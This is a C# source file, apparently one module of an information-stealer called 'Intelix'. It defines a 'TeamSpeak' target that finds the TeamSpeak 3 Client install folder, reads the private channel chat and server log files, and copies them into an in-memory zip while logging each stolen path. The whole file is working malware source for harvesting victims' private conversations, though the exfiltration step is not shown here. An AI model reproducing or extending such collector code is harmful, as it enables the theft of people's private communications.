93 lines
2.3 KiB
C#
93 lines
2.3 KiB
C#
using System;
|
|||
|
|
using System.IO;
|
||
|
|
using System.Linq;
|
||
|
|
using Intelix.Helper.Data;
|
||
|
|
|
||
|
|
namespace Intelix.Targets.Applications;
|
||
|
|
|
||
|
|
public class TeamSpeak : ITarget
|
||
|
|
{
|
||
|
|
private readonly bool _collectChannelChats = true;
|
||
|
|
|
||
|
|
private readonly bool _collectServerLogs = true;
|
||
|
|
|
||
|
|
private readonly long _minFileSize = 50L;
|
||
|
|
|
||
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
||
|
|
{
|
||
|
|
string text = new string[2]
|
||
|
|
{
|
||
|
|
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "TeamSpeak 3 Client"),
|
||
|
|
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "TeamSpeak 3 Client")
|
||
|
|
}.FirstOrDefault(Directory.Exists);
|
||
|
|
if (string.IsNullOrEmpty(text))
|
||
|
|
{
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
string path = Path.Combine(text, "config", "chats");
|
||
|
|
if (!Directory.Exists(path))
|
||
|
|
{
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
string[] directories = Directory.GetDirectories(path);
|
||
|
|
if (directories == null || directories.Length == 0)
|
||
|
|
{
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||
|
|
counterApplications.Name = "TeamSpeak";
|
||
|
|
int num = 1;
|
||
|
|
string[] array = directories;
|
||
|
|
for (int i = 0; i < array.Length; i++)
|
||
|
|
{
|
||
|
|
string[] array2 = Directory.EnumerateFiles(array[i], "*.txt", SearchOption.TopDirectoryOnly).Where(delegate(string f)
|
||
|
|
{
|
||
|
|
string fileName = Path.GetFileName(f);
|
||
|
|
if (string.IsNullOrEmpty(fileName))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
if (!_collectChannelChats && fileName.StartsWith("channel", StringComparison.OrdinalIgnoreCase))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
if (!_collectServerLogs && fileName.StartsWith("server", StringComparison.OrdinalIgnoreCase))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
return new FileInfo(f).Length >= _minFileSize;
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
}).ToArray();
|
||
|
|
if (array2.Length == 0)
|
||
|
|
{
|
||
|
|
continue;
|
||
|
|
}
|
||
|
|
string[] array3 = array2;
|
||
|
|
foreach (string text2 in array3)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string text3 = $"TeamSpeak\\{num}\\" + Path.GetFileName(text2);
|
||
|
|
zip.AddFile(text3, File.ReadAllBytes(text2));
|
||
|
|
counterApplications.Files.Add(text2 + " => " + text3);
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
num++;
|
||
|
|
}
|
||
|
|
if (counterApplications.Files.Count > 0)
|
||
|
|
{
|
||
|
|
counterApplications.Files.Add("TeamSpeak\\");
|
||
|
|
counter.Applications.Add(counterApplications);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|